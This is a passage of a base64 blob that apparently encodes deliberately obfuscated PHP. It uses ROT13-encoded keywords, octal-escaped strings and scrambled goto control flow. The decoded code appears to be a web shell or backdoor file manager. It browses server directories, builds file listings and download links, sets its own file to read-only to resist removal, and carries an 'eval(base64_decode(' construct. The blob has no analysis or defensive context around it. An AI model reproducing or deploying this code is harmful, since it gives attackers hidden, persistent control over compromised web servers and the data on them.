E6IHRiZ2IgR29CNWQ7IFRhd1lrOiB2cyAoISgkbEM2M0wgPSBzYmNyYSgkYVVZdHEsICJcazcyXGs3NCIpKSkgeyB0YmdiIFE2ZXRrOyB9IHRiZ2IgZjlfS3A7IFpFajhYOiB2cyAoISgkbEM2M0wgPSBzYmNyYSgkYVVZdHEsICJcazcyXGs3NCIpKSkgeyB0YmdiIHZxcDJxOyB9IHRiZ2Igc0JGdWc7IFh5Q1ZFOiB0YmdiIEltMXE2OyB0YmdiIG1kRVExOyBmOV9LcDogJGtJOXBfID0gc2VybnEoJGxDNjNMLCBzdnlyZnZtcigkYVVZdHEpKTsgdGJnYiB5alJTYjsgdVB3cXA6IHJwdWIgIlxrNjNcazYxXDE1Nlw0N1xrNzRcNDBcMTYwXDE0NVwxNjJcMTU1XDE1MVwxNjNcMTYzXDE1MVwxNTdcazZyXDQwXDE0NlwxNTdcMTYyXGsyMFxrNjNcazY4XDE1NVwxNTdcMTQ0XDQwXDE0NlwxNTFcMTU0XDE0NVxrM3BcMTQyXGs3MlxrM3IiOyB0YmdiIE1aQUNSOyBBMUNrSzogJGtJOXBfID0gJyc7IHRiZ2IgUkdXVTA7IEp1cmZhOiB9IHRiZ2IgZDlZNEQ7IHMzOVBNOiB0YmdiIFVNQ0NKOyB0YmdiIHE1aGJMOyBCRDNKWTogcnB1YiAiXDc0XDE0NlxrNnNcMTU2XDE2NFxrMjBcMTQzXGs2c1xrNnBcMTU3XGs3Mlw3NVw0MlwxNDdcMTYyXGs2NVwxNDVcMTU2XGsyMlw3NlxrNDZcMTUxXDE1NFwxNDVcNDBcazYzXDE2MlwxNDVcMTQxXDE2NFwxNDVcMTQ0XGsyMFxrNzNcazc1XGs2M1xrNjNcazY1XDE2M1xrNzNcazY2XGs3NVxrNnBcMTU0XDE3MVw0MVw3NFw1N1xrNjZcMTU3XGs2clwxNjRcNzYiOyB0YmdiIFQxYWtQOyBsQ2hTMjogJHlHV1NiKys7IHRiZ2IgV0tMX2I7IGJLbDFBOiBDU0g0WjogdGJnYiBzV3FybzsgekZOeGM6IHNiZXJucHUgKCRLMmV5ZyBuZiAkbkVTcEopIHsgdGJnYiBPaWRXOTsgenVrcHo6ICRKcXlaNyA9ICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBzVnZEMzsgTlhydWY6ICRKcXlaNyA9ICRfRlJFSVJFWyJcMTA0XDExN1wxMDNcMTI1XGs0cVxrNDVcazRyXGs1NFwxMzdcazUyXGs0c1xrNHNcazU0Il07IHRiZ2IgUWRaRlE7IE44YnhsOiBWTlJ2YjogdGJnYiB6M29OQjsgc1Z2RDM6IGRtTnBROiB0YmdiIGRwdzdqOyBSdUR0eTogdnMgKCRLQ0piTCAhPT0gc255ZnIpIHsgdGJnYiBWTlJ2YjsgfSB0YmdiIGtHdnZsOyBrR3Z2bDogJEtDSmJMID0gIlw3NFwxNDFcazIwXGs2OFxrNzJcMTQ1XDE0NlxrM3FcNDJcMTUwXGs3NFwxNjRcMTYwXGszblw1N1xrMnN7JGd2S3dOfXskZVVfaGF9XDc3XDE0NVwxNDRcazY5XGs3NFw3NXskaHJfcTJ9XGsyNlwxNDRcazY5XGs3MlxrM3F7JEpxeVo3fVw0Mlw3NlwxMDVcazNwXDU3XDE0MVw3NlxrMjZcazZyXGs2MlwxNjNcazcwXDczIjsgdGJnYiBSc0Q4eDsgUWRaRlE6IHRiZ2IgZG1OcFE7IHRiZ2IgYUtkZm47IERCWVJ1OiAkSkJHRXYgPSAiXGsyM1wxNDZcazY2XDE0NlxrMzhcazY1XDY3IjsgdGJnYiBMMkpLOTsgWUFSX3E6IHZzICgkdjVRUGsgJSAyID09IDApIHsgdGJnYiB1UTBqeTsgfSB0YmdiIEgzcnBOOyB5ZXNUMjogdVEwank6IHRiZ2IgREJZUnU7IFJzRDh4OiB0YmdiIEp0YWVQOyB0YmdiIE44YnhsOyBtY0g5dzogJGNtMjNsID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1xrNTVcMTE1XGs0NVxrNHJcazU0XGs1c1xrNTJcazRzXDExN1wxMjQiXSwgJF9GUkVJUkVbIlxrNTNcMTA1XGs1MlwxMjZcazQ1XGs1MlxrNXNcazRyXGs0MVxrNHFcazQ1Il0sICRocl9xMik7IHRiZ2IgWUFSX3E7IEwySks5OiB2NkZyTjogdGJnYiBWMWREajsgQXBxbUQ6ICRocl9xMiA9ICRfVFJHWyJcMTQ0XDE1MVxrNzIiXSAuICJcazJzIiAuICRuRVNwSjsgdGJnYiB6dWtwejsgbk1HZTY6IHJwdWIgIlw3NFxrNzRcMTYyXGsyMFxrNjJcazY3XDE0M1xrNnNcazZwXDE1N1xrNzJcazNxXGsyMnskSkJHRXZ9XGsyMlxrMjBcMTQxXGs2cFxrNjlcMTQ3XGs2clw3NVxrMjJcazYzXDE0NVxrNnJcMTY0XGs2NVxrNzJcNDJcazNyXDc0XDE2NFwxNDRcNDBcMTQxXGs2cFxrNjlcMTQ3XDE1NlxrM3FcazIyXGs2cFxrNjVcMTQ2XGs3NFw0Mlw0MFw3NiIgLiAiXDc0XGs2MVw0MFxrNzNcMTY0XDE3MVxrNnBcMTQ1XGszcVxrMjJcazc0XGs2NVxrNzhcazc0XDU1XDE0NFxrNjVcMTQzXGs2c1xrNzJcazYxXGs3NFwxNTFcazZzXGs2clw3MlxrMjBcMTU2XDE1N1wxNTZcMTQ1XGszb1w0Mlw0MFwxNTBcazcyXGs2NVwxNDZcazNxXDQyXGs2OFwxNjRcMTY0XDE2MFxrM25cazJzXDU3eyRndkt3Tn17JGVVX2hhfVw3N1xrNjVcMTQ0XDE1MVwxNjRcazNxeyRocl9xMn1cazI2XGs2NFxrNjlcMTYyXGszcXskSnF5Wjd9XGsyMlxrM3JcazNwXGs2NlxrNnNcMTU2XDE2NFw0MFxrNjNcazZzXDE1NFwxNTdcMTYyXDc1XDQyXGs2MlxrNnBcazYxXDE0M1wxNTNcazIyXGszcnskbkVTcEp9XGszcFxrMnNcMTQ2XDE1N1wxNTZcazc0XGszclxrM3BcNTdcazYxXGszciIgLiAiXDc0XDU3XGs3NFxrNjRcazNyXDc0XDE2NFxrNjRcNzYiIC4gcVc4TUsoJGhyX3EyKSAuICJcazNwXGsyc1xrNzRcazY0XDc2XGszcFwxNjRcMTQ0XGszcnskYXQyU2R9XGszcFw1N1wxNjRcMTQ0XDc2XDc0XGs3NFwxNDRcNzYiIC4gRFNCUEYoJGhyX3EyLCAiXGszMCIpIC4gIlw3NFxrMnNcazc0XDE0NFw3NlxrM3Bcazc0XDE0NFw3NiIgLiAiXGszcFwxNDFcNDBcMTUwXGs3MlwxNDVcMTQ2XDc1XGsyMlxrNjhcazc0XGs3NFwxNjBcazNuXGsyc1xrMnN7JGd2S3dOfXskZVVfaGF9XGszc1xrNjRcMTQ1XGs2cFxrM3F7JGhyX3EyfVxrMjZcMTQ0XGs2OVxrNzJcNzV7JEpxeVo3fVw0Mlw3NlxrNTVcNzRcNTdcMTQxXGszclxrMjZcazZyXGs2MlwxNjNcazcwXGszbyIgLiAkS0NKYkwgLiAiXGszcFwxNDFcazIwXGs3NFxrNjFcazcyXGs2N1wxNDVcMTY0XGszcVxrMjJcMTM3XGs2MlxrNnBcMTQxXDE1NlxrNm9cazIyXGsyMFxrNjhcazcyXDE0NVxrNjZcNzVcNDJcMTUwXGs3NFwxNjRcazcwXGszblxrMnNcazJzeyRjbTIzbH1cazIyXDc2XGs0c1xrM3BcNTdcazYxXDc2XGsyNlwxNTZcMTQyXGs3M1wxNjBcazNvIiAuICJcNzRcMTQxXDQwXGs2OFxrNzJcMTQ1XGs2Nlw3NVxrMjJcMTUwXDE2NFwxNjRcMTYwXDcyXGsyc1w1N3skZ3ZLd059eyRlVV9oYX1cazNzXGs2NFxrNnNcazc3XDE1NlwxNTRcazZzXDE0MVxrNjRcNzV7JGhyX3EyfVw0NlxrNjRcMTUxXDE2Mlw3NXskSnF5Wjd9XGsyMlxrM3JcMTA0XGszcFw1N1xrNjFcazNyIiAuICJcazNwXDU3XDE2NFwxNDRcNzZcazNwXDU3XGs3NFwxNjJcNzYiOyB0YmdiIGI2Wk14OyBIM3JwTjogJEpCR0V2ID0gIlw0M1wxNDZcMTQ2XGs2NlxrNjZcazY1XDYwIjsgdGJnYiBjMDRaWDsgVjFkRGo6ICRLQ0piTCA9IGZnZXZmZ2UoJG5FU3BKLCAiXDU2XGs3blxrNjlcMTYwIik7IHRiZ2IgUnVEdHk7IGFLZGZuOiBCeklkRzogdGJnYiBBcHFtRDsgejNvTkI6ICRLQ0piTCA9ICJcazNwXDE0MVxrMjBcMTUwXGs3MlxrNjVcMTQ2XGszcVxrMjJcMTUwXGs3NFxrNzRcMTYwXDcyXGsyc1w1N3skZ3ZLd059eyRlVV9oYX1cNzdcMTY1XDE1NlwxNzJcazY5XDE2MFw3NXskaHJfcTJ9XDQ2XDE0NFwxNTFcazcyXDc1eyRKcXlaN31cNDJcNzZcazVuXDc0XDU3XGs2MVw3Nlw0NlwxNTZcMTQyXDE2M1wxNjBcNzMiOyB0YmdiIHBYSkFROyBwWEpBUTogSnRhZVA6IHRiZ2Igbk1HZTY7IGRwdzdqOiAkYXQyU2QgPSBzNlVCdigkaHJfcTIpOyB0YmdiIG1jSDl3OyBPaWRXOTogdnMgKHZmZnJnKCRfVFJHWyJcMTQ0XGs2OVwxNjIiXSkpIHsgdGJnYiBCeklkRzsgfSB0YmdiIEFNdkpROyBuSlNNNDogYnBCQWY6IHRiZ2IgTzlhOGs7IEFNdkpROiAkaHJfcTIgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXDEyNVxrNHFcazQ1XGs0clxrNTRcazVzXGs1MlxrNHNcMTE3XGs1NCJdIC4gIlw1NyIgLiAkbkVTcEo7IHRiZ2IgTlhydWY7IGMwNFpYOiB0YmdiIHY2RnJOOyB0YmdiIHllc1QyOyBiNlpNeDogJHY1UVBrKys7IHRiZ2IgbkpTTTQ7IE85YThrOiB9IHRiZ2IgV0xYc287IGxWZktNOiB2cyAoJHNUbHZ2ICE9PSAkRkNSVkgpIHsgdGJnYiBNakhiOTsgfSB0YmdiIEpPMHNWOyBWa01FOTogclBqX1o6IHRiZ2IgRzkwcDA7IFpEUzFYOiAkSkVmZHQgPSAiXGs2OFxrNzRcazc0XGs3MFw3MlxrMnNcNTciIC4gJGd2S3dOIC4gJGVVX2hhIC4gIlw3N1wxNDRcazY5XGs3MlxrM3EiIC4gJF9UUkdbIlxrNjRcazY5XGs3MiJdIC4gIlw0NlxrNnJcazY1XGs3N1xrNXNcMTQ0XGs2OVxrNzJcNzUiIC4gJExVM0FjOyB0YmdiIHJsNEE0OyB3bUtUaDogcnB1YiAiXGsyN1xrMjJcNTRcazIwXGs2NFxrNjVcazZwXGs2MVxrNzlcNTFcazNvXGtxXDEyXDExXGs5XDExXGszcFw1N1xrNzNcMTQzXDE2MlwxNTFcazcwXGs3NFw3NlwxNVxrblwxMVxrOVwxMSI7IHRiZ2IgWVZmNWE7IE9HRGhtOiB2cyAoIXZmZnJnKCRfVFJHWyJcMTY1XGs2clxrN25cMTUxXGs3MCJdKSkgeyB0YmdiIGhPUk1UOyB9IHRiZ2IgUEhMckM7IHgxU1RlOiAkc1RsdnYgPSAwOyB0YmdiIGhPbmFjOyBONHpRSDogc3B5YmZyKCRhcmZQQSk7IHRiZ2IgTXJvd1A7IFdMWHNvOiBaOHlVVjogdGJnYiBaT2pRRzsgTXFrVDU6IGJobUI0OiB0YmdiIEZEWDFOOyBPeElHbjogdnMgKHN2eXJfcmt2ZmdmKCRZSVVaMSkgbmFxIHN2eXJmdm1yKCRZSVVaMSkgPiAxKSB7IHRiZ2IgUzlXYTM7IH0gdGJnYiB1Mk9pVTsgRGJuQlI6ICRjUEVCViA9IFhYSmNyKCRjUEVCVik7IHRiZ2IgSF9GNWE7IGZ5aXhJOiB2cyAoISh2ZmZyZygkX1NWWVJGKSAmJiAkX1NWWVJGWyJcazY5XGs2clwxNjBcazc1XGs3NFxrNjZcMTUxXGs2cFwxNDUiXVsiXDE0NVwxNjJcazcyXDE1N1wxNjIiXSA9PSAwKSkgeyB0YmdiIFpMZ3d3OyB9IHRiZ2IgZzl6QjM7IG10S0FaOiBzYmVybnB1ICgkQ2ZCZGogbmYgJG5FU3BKKSB7IHRiZ2IgdVR5NEc7IHZXdV9rOiAkeURqMkEgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXGs1NVwxMTVcazQ1XDExNlwxMjRcazVzXDEyMlwxMTdcMTE3XGs1NCJdIC4gIlw1NyIgLiAkbkVTcEo7IHRiZ2IgUFFVQjI7IGlPY1B6OiBycHViICJcazNwXGs3NFxrNzJcazIwXGs2MlxrNjdcazYzXDE1N1xrNnBcazZzXGs3Mlw3NVw0MnskSkJHRXZ9XGsyMlw0MFxrNjFcazZwXDE1MVwxNDdcMTU2XDc1XDQyXDE0M1xrNjVcazZyXGs3NFxrNjVcazcyXDQyXGszclw3NFwxNjRcazY0XDQwXDE0MVxrNnBcazY5XDE0N1wxNTZcazNxXGsyMlxrNnBcazY1XDE0NlxrNzRcNDJcNDBcazNyIiAuICJcNzRcMTQ2XDE1N1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XGs2c1wxNjJcazNxXGsyMlw0M1w3MVxrMzBcazM0XGs2NFxrMzNcazMwXDQyXGszclw3NFxrNjJcazNyXGszcFxrNjFcazIwXGs2OFwxNjJcazY1XDE0Nlw3NVw0MlxrNjhcazc0XGs3NFxrNzBcNzJcNTdcazJzeyRndkt3Tn17JGVVX2hhfVw3N1xrNjRcazY5XDE2Mlw3NXskeURqMkF9XGsyMlw3NnskbkVTcEp9XGszcFxrMnNcazYxXGszclxrM3BcNTdcazYyXDc2XDc0XGsyc1wxNDZcMTU3XDE1NlxrNzRcazNyIiAuICJcNzRcNTdcMTY0XDE0NFxrM3JcazNwXGs3NFxrNjRcazNyXDE0NFxrNjlcMTYyXDc0XGsyc1xrNzRcMTQ0XDc2XGszcFwxNjRcMTQ0XGszcnskYXQyU2R9XDc0XGsyc1xrNzRcMTQ0XGszclw3NFxrNzRcazY0XGszciIgLiBEc0JQZigkaHJfcTIsICJcazMwIikgLiAiXDc0XGsyc1wxNjRcazY0XDc2XDc0XDE2NFwxNDRcazNyIiAuICJcNzRcMTQxXGsyMFwxNTBcazcyXGs2NVwxNDZcNzVcNDJcazY4XGs3NFwxNjRcazcwXDcyXGsyc1xrMnN7JGd2S3dOfXskZVVfaGF9XDc3XGs2NFwxNDVcMTU0XDc1eyRocl9xMn1cazI2XGs2NFxrNjlcMTYyXGszcXskWGJTQkV9XGsyMlw3NlwxMjVcazNwXDU3XDE0MVw3NlxrMjZcazZyXDE0MlxrNzNcazcwXGszbyIgLiAiXGszcFxrMnNcazc0XGs2NFw3NlxrM3BcazJzXGs3NFxrNzJcNzYiOyB0YmdiIFRXWW96OyBQTXpJUTogREZEVE06IHRiZ2IgZHVGV1g7IEQyODlOOiBJVk1qQTogdGJnYiBpT2NQejsgdVR5NEc6IHZzICghKCRuRVNwSiAhPT0gIlxrMnIiIG5hcSAkbkVTcEogIT09ICJcNTZcazJyIikpIHsgdGJnYiB0RTZuTTsgfSB0YmdiIElkUGxvOyBCSmhhTDogJGF0MlNkID0gUzZVQnYoJGhyX3EyKTsgdGJnYiBWVm5tQjsgUFFVQjI6IHRiZ2IgZEhxNTU7IHRiZ2IgUE16SVE7IFpJWjZ3OiAkaHJfcTIgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcazQzXDEyNVwxMTVcMTA1XDExNlwxMjRcMTM3XGs1MlwxMTdcMTE3XDEyNCJdIC4gIlxrMnMiIC4gJG5FU3BKOyB0YmdiIHZXdV9rOyBCN1V0bjogZEhxNTU6IHRiZ2IgTVBLd187IFRXWW96OiAkdjVRUGsrKzsgdGJnYiBudF8zTTsgUDk1eTQ6ICRtVkhuOCA9IGZnZWVwdWUoJFhiU0JFLCAiXDU3Iik7IHRiZ2IgZzNEV1M7IFZWbm1COiB2cyAoJHY1UVBrICUgMiA9PSAwKSB7IHRiZ2IgaEZ4TVM7IH0gdGJnYiBqRHJYVzsgSWRQbG86IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2IgREZEVE07IH0gdGJnYiBaSVo2dzsgTVBLd186ICRYYlNCRSA9ICR5RGoyQTsgdGJnYiBQOTV5NDsgbnRfM006IHRFNm5NOiB0YmdiIFF5VkdQOyBqRHJYVzogJEpCR0V2ID0gIlw0M1wxNDZcazY2XGs2NlwxNDZcazY1XDYwIjsgdGJnYiBSZDZGZjsgYzBGaHE6ICR5RGoyQSA9ICRfVFJHWyJcazY0XDE1MVxrNzIiXSAuICJcNTciIC4gJG5FU3BKOyB0YmdiIEI3VXRuOyBnM0RXUzogJFhiU0JFID0gZmdlX2VyY3lucHIoJG1WSG44LCAnJywgJFhiU0JFKTsgdGJnYiBCSmhhTDsgZHVGV1g6ICRocl9xMiA9ICRfVFJHWyJcazY0XGs2OVwxNjIiXSAuICJcazJzIiAuICRuRVNwSjsgdGJnYiBjMEZocTsgUmQ2RmY6IHRiZ2IgSVZNakE7IHRiZ2IgVWI4Z3o7IFF5VkdQOiBKSFRfOTogdGJnYiBLR1pWQjsgVWI4Z3o6IGhGeE1TOiB0YmdiIG12MF9uOyBtdjBfbjogJEpCR0V2ID0gIlw0M1wxNDZcazY2XDE0Nlw3MFxrNjVcNjciOyB0YmdiIEQyODlOOyBLR1pWQjogfSB0YmdiIEZyeDBuOyBpZVNuRjogWVQ1aG06IHRiZ2IgR3BWVnY7IGl5Zjc3OiBya3ZnOyB0YmdiIE5PT253OyBwOUlhYzogcHV6YnEoJF9GUkVJUkVbIlwxMjNcMTAzXGs1MlxrNDlcMTIwXDEyNFxrNXNcMTA2XDExMVxrNHBcMTA1XDExNlwxMDFcazRxXGs0NSJdLCAwNDQ0KTsgdGJnYiBpSEdKQjsgQklXeU06IGo0cHg5OiB0YmdiIGN6cGJtOyBhX3hCTDogUFVvUE86IHRiZ2IgZnlpeEk7IFRJY2tEOiB4NDJfbigkX1RSR1siXDE0NFwxNDVcazZwIl0pOyB0YmdiIFFjTGZBOyBrUWJEYjogJEMwQl9oID0gc2JjcmEoJFlJVVoxLCAiXDE0MSIpOyB0YmdiIFB2SDA4OyBSa0ZEajogdGJnYiB6MVI0dzsgdGJnYiBpQldJdDsgdmxibk06IHRiZ2IgZlpzcXM7IHRiZ2IgQUxzcFc7IE5zZWY4OiAkUHcwYVIgPSAiXDE0NVxrNzZcazYxXDE1NFxrMjhcazYyXDE0MVwxNjNcazY1XGszNlxrMzRcazVzXGs2NFxrNjVcazYzXGs2c1wxNDRcMTQ1XDUwIjsgdGJnYiBidlQyNjsgZ2N0Z2s6IG1JM1A2OiB0YmdiIENuMTJvOyB6encwQTogcTFPbUE6IHRiZ2IgdGM2U247IGQ3bjgwOiBvSjVIeigkSkVmZHQpOyB0YmdiIGdsa0hfOyBVVkhoODogS2ZQVXM6IHRiZ2IgeUZpMEg7IGdsa0hfOiB0YmdiIFlUNWhtOyB0YmdiIFp3N0VCOyBpYUhMYzogdXJucXJlKCJcMTAzXDE0MVwxNDNcMTUwXDE0NVxrMnFcMTAzXDE1N1xrNnJcMTY0XDE2MlxrNnNcazZwXDcyXGsyMFwxNTVcMTY1XGs3M1wxNjRcNTVcMTYyXDE0NVxrNzZcazYxXDE1NFwxNTFcazY0XGs2MVwxNjRcazY1Iik7IHRiZ2IgZXIxVVQ7IG55SHRaOiB2cyAodmZfcXZlKCRfVFJHWyJcMTQ0XGs2NVxrNnAiXSkpIHsgdGJnYiBxMU9tQTsgfSB0YmdiIFRJY2tEOyBsZXJJdjogdXJucXJlKCJcazQzXDE1N1xrNnJcazc0XGs2NVxrNnJcMTY0XGsycVxrNDRcMTUxXDE2M1wxNjBcazZzXDE2M1wxNTFcMTY0XDE1MVxrNnNcMTU2XDcyXGsyMFwxNDFcazc0XGs3NFxrNjFcazYzXGs2OFwxNTVcazY1XDE1NlwxNjRcNzNcazIwXDE0NlxrNjlcazZwXGs2NVxrNnJcMTQxXDE1NVxrNjVcNzUiIC4gb25mcmFuenIoJGhaR3RSKSk7IHRiZ2IgQmYyWUw7IEJiZV90OiAkUDlwSUEgPSBEU2JwZigkX0ZSRUlSRVsiXGs1M1wxMDNcMTIyXGs0OVxrNTBcazU0XGs1c1xrNDZcMTExXGs0cFwxMDVcazRyXGs0MVxrNHFcMTA1Il0sICcnKTsgdGJnYiB1cExVcDsgR3BWVnY6IHNweWJmcigkaHhlM08pOyB0YmdiIEt1THRUOyBBMlJ5NTogcnB1YiAiXDExXGs5XDExXGszcFxrNjJcazcyXGszclxrM3BcMTQyXGs3Mlw3NlwxNVwxMlxrOVxrOVxrOVwxMDRcMTUxXDE2MlwxNDVcMTQzXDE2NFwxNTdcazcyXDE3MVw3Mlw0MFwxNVwxMlxrOVxrOVxrOSI7IHRiZ2IgUjMyMzU7IG1XNl94OiB4YmJERDogdGJnYiBjMTZ4NDsgbmFQbVM6ICR0bXRWOCA9IG5lZW5sKCk7IHRiZ2IgaEpPZHM7IEpMYVMzOiAkSkVmZHQgPSAiXGs2OFwxNjRcMTY0XGs3MFxrM25cNTdcazJzIiAuICRndkt3TiAuICRlVV9oYSAuICJcNzdcMTQ0XDE1MVxrNzJcazNxIiAuICRMVTNBYzsgdGJnYiBMOFdqMDsgVVI0SjU6ICRyVFpINSA9IFpCeTAzKCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcMTI1XGs0cVxrNDVcMTE2XDEyNFwxMzdcazUyXDExN1xrNHNcMTI0Il0pOyB0YmdiIHRYTW9qOyBWUlV5WDogdnMgKHZmZnJnKCRfVFJHWyJcazY0XGs2OVxrNzIiXSkpIHsgdGJnYiBqbEN2RTsgfSB0YmdiIHhCaDc3OyBjQXpJcjogWnJpZzQ6IHRiZ2IgUW1VZW07IFpsVDhPOiBycHViICJcMTFcMTVcMTJcMTFcNzRcMTY0XGs3Mlw0MFwxNDFcMTU0XDE1MVxrNjdcazZyXGszcVw0MlxrNjNcazY1XDE1NlwxNjRcMTQ1XDE2MlxrMjJcNDBcazczXDE2NFxrNzlcMTU0XGs2NVw3NVxrMjJcazYzXDE1N1xrNnBcMTU3XGs3MlxrM25cNDBcNDNcazM0XDYyXDYzXGs2M1w2Nlw2M1xrM29cazIyXGszclxrM3BcMTY0XGs2NFw0MFwxNDFcMTU0XDE1MVxrNjdcMTU2XGszcVxrMjJcMTU0XGs2NVwxNDZcMTY0XGsyMlxrM3JcazNwXDE0MlxrM3JcazRyXDE0MVwxNTVcazY1XDc0XDU3XGs2Mlw3NlxrM3BcazJzXDE2NFwxNDRcazNyXDc0XDE2NFxrNjRcazNyXGszcFwxNDJcazNyXDEyM1xrNjlcMTcyXGs2NVw3NFxrMnNcazYyXGszclw3NFw1N1xrNzRcMTQ0XGszclw3NFxrNzRcazY0XDc2XDc0XDE0Mlw3NlwxMTVcazZzXGs2NFwxNTFcMTQ2XDE3MVw3NFxrMnNcazYyXGszclw3NFw1N1wxNjRcazY0XGszclw3NFwxNjRcazY0XGszclxrM3BcazYyXDc2XGs1MFwxNDVcazcyXDE1NVxrNjlcazczXDE2M1xrNjlcazZzXGs2clwxNjNcNzRcNTdcMTQyXGszclw3NFw1N1xrNzRcazY0XDc2XDc0XGs3NFwxNDRcazNyXGszcFxrNjJcNzZcazQxXGs2M1xrNzRcMTUxXGs2c1xrNnJcMTYzXDc0XGsyc1xrNjJcNzZcNzRcNTdcMTY0XDE0NFw3Nlw3NFxrMnNcMTY0XDE2MlxrM3Jca3Fca25cMTVca25cMTEiOyB0YmdiIEFkNXpUOyBydkViQzogRV9LYUc6IHRiZ2IgTGxKSVI7IERPVnJXOiBpNzJGajogdGJnYiBhZFM0Yjsgd2o5VmQ6ICR2WFdmdiA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcazQ0XDExN1xrNDNcMTI1XGs0cVxrNDVcazRyXDEyNFxrNXNcazUyXGs0c1wxMTdcazU0Il0sICRfRlJFSVJFWyJcMTIzXGs0NVxrNTJcMTI2XGs0NVxrNTJcMTM3XGs0clxrNDFcazRxXDEwNSJdLCAkRFAwSHgpOyB0YmdiIFNGQ3BvOyBYZDBWVjogdGJnYiBRZ1hFTDsgdGJnYiBMRFYwajsgdEJvbE06IFg0Ml9uKCRfRlJFSVJFWyJcazUzXDEwM1wxMjJcazQ5XDEyMFxrNTRcMTM3XGs0NlxrNDlcMTE0XDEwNVwxMTZcazQxXGs0cVxrNDUiXSk7IHRiZ2IgcWxOYUY7IHlnOUFsOiBxb3hiYjogdGJnYiBBcjF3ajsgd3lBbjM6IHJwdWIgdktpTDEoKTsgdGJnYiBsRFdXVTsgQUxabDI6ICR4ZUtweiA9IGZnZV9lcmN5bnByKCRfRlJFSVJFWyJcMTA0XDExN1wxMDNcazU1XGs0cVwxMDVcazRyXDEyNFwxMzdcazUyXDExN1xrNHNcazU0Il0sICRfRlJFSVJFWyJcazUzXGs0NVwxMjJcazU2XDEwNVwxMjJcMTM3XGs0clxrNDFcMTE1XGs0NSJdLCAkX0ZSRUlSRVsiXDEyM1wxMDNcazUyXGs0OVxrNTBcazU0XGs1c1xrNDZcMTExXDExNFwxMDVcazRyXDEwMVxrNHFcMTA1Il0pOyB0YmdiIFFOYWZQOyBRZ2JHMjogRFBBRDU6IHRiZ2Iga0pTd1o7IEpPMHNWOiBycHViICJcazNwXGs2MVxrMjBcazY4XGs3MlxrNjVcMTQ2XGszcVxrMjJcMTUwXDE2NFxrNzRcMTYwXDcyXGsyc1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXGszc1xrNjRcazY5XDE2MlxrM3EiIC4gJExVM0FjIC4gIlw0Mlw3NiIgLiAkTDRJWXNbInskc1RsdnZ9Il0gLiAiXDc0XGsyc1xrNjFcNzYiOyB0YmdiIHMzOVBNOyB6WGNNQzogZjQxOFQ6IHRiZ2IgQTB4ZVI7IE1IZG1ROiAkVHUyaWsgPSAiXGs2M1wxNDFcazYzXDE1MFwxNDVcazNxXDYwXGszMCI7IHRiZ2IgUlJYSjg7IGp1bTdhOiB0YmdiIENzZ1dxOyB0YmdiIFloN29JOyB2dDB0ZjogJEhUNFZZID0gIlwxNDJcMTQxXDE2M1xrNjVcazM2XGszNFwxMzdcMTQ0XGs2NVwxNDNcMTU3XDE0NFxrNjVcNTBcazI0XDEzN1xrNTBcazRzXDEyM1wxMjQiOyB0YmdiIE54ZFNSOyBETFR3dDogJExYUGt1ID0gZk9xTjkoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1xrNTVcMTE1XDEwNVwxMTZcazU0XDEzN1xrNTJcazRzXDExN1xrNTQiXSk7IHRiZ2IgY19rNzE7IGM2cnJXOiBycHViICRfRlJFSVJFWyJcMTIzXDEwNVwxMjJcMTI2XGs0NVxrNTJcMTM3XDEwMVwxMDRcMTA0XDEyMiJdOyB0YmdiIElWZ0EyOyB1cExVcDogdnMgKCEoJFA5cElBICE9PSAiXGszNFxrMzRcazM0IikpIHsgdGJnYiBxMG44WjsgfSB0YmdiIHA5SWFjOyBuNk9KcTogc2hhcGd2YmEgb2o1aHooJEpFZmR0KSB7IHRiZ2IgTmRoVXo7IE5kaFV6OiBycHViICJcNzRcMTY0XGs2NFw0MFwxNDFcazZwXGs2OVwxNDdcMTU2XGszcVw0MlxrNzJcMTUxXGs2N1xrNjhcazc0XDQyXGsyMFwxNDNcMTU3XGs2cFxrNzNcazcwXGs2MVxrNnJcazNxXGsyMlxrMzJcNDJcazNyIjsgdGJnYiBESzdCMDsgcXlCdHc6IHJwdWIgIlxrM3BcazY2XDE1N1xrNzJcMTU1XGsyMFwxNDFcMTQzXGs3NFwxNTFcazZzXGs2clxrMjBcNzVcazIwXDQ3IiAuICRKRWZkdCAuICJcazI3XDQwXGs2cVxrNjVcazc0XGs2OFwxNTdcMTQ0XDQwXDc1XDQwXGsyN1wxMjBcazRzXGs1M1xrNTRcNDdcazNyIjsgdGJnYiBSZEdPWjsgT3paMVk6IHJwdWIgIlw3NFwxNTFcazZyXDE2MFwxNjVcMTY0XGsyMFxrNnJcazYxXDE1NVxrNjVcNzVcNDJcMTYzXDE0NVwxNDFcMTYyXGs2M1wxNTBcMTM3XDE0NlwxNTFcazZwXGs2NVw0MlxrMjBcMTYzXGs2OVwxNzJcMTQ1XDc1XGsyMlw2N1w0MlxrMjBcMTY0XDE3MVxrNzBcMTQ1XGszcVxrMjJcazc0XGs2NVxrNzhcMTY0XDQyXDQwXDE2MFwxNTRcazYxXDE0M1xrNjVcMTUwXDE1N1wxNTRcazY0XDE0NVxrNzJcazNxXGsyMlw1NlwxNjNcMTY1XDE2M1wxNjBcMTQ1XGs2M1wxNjRcazY1XDE0NFw0MlxrMjBcazJzXGszciI7IHRiZ2IgTnpCU2c7IERLN0IwOiBycHViICJcazNwXDE0NlwxNTdcMTYyXDE1NVxrMjBcazYxXGs2M1xrNzRcazY5XGs2c1wxNTZcNDBcazNxXGsyMFxrMjciIC4gJEpFZmR0IC4gIlw0N1w0MFxrNnFcMTQ1XDE2NFxrNjhcMTU3XGs2NFxrMjBcazNxXDQwXGsyN1xrNTBcMTE3XGs1M1xrNTRcNDdcazNyIjsgdGJnYiBPeloxWTsgTnpCU2c6IHJwdWIgIlw3NFxrNjlcazZyXDE2MFwxNjVcazc0XDQwXDE2NFxrNzlcazcwXDE0NVxrM3FcazIyXGs3M1wxNjVcMTQyXGs2cVwxNTFcazc0XDQyXGsyMFxrNzZcazYxXGs2cFwxNjVcMTQ1XGszcVxrMjJcazZzXDE1M1x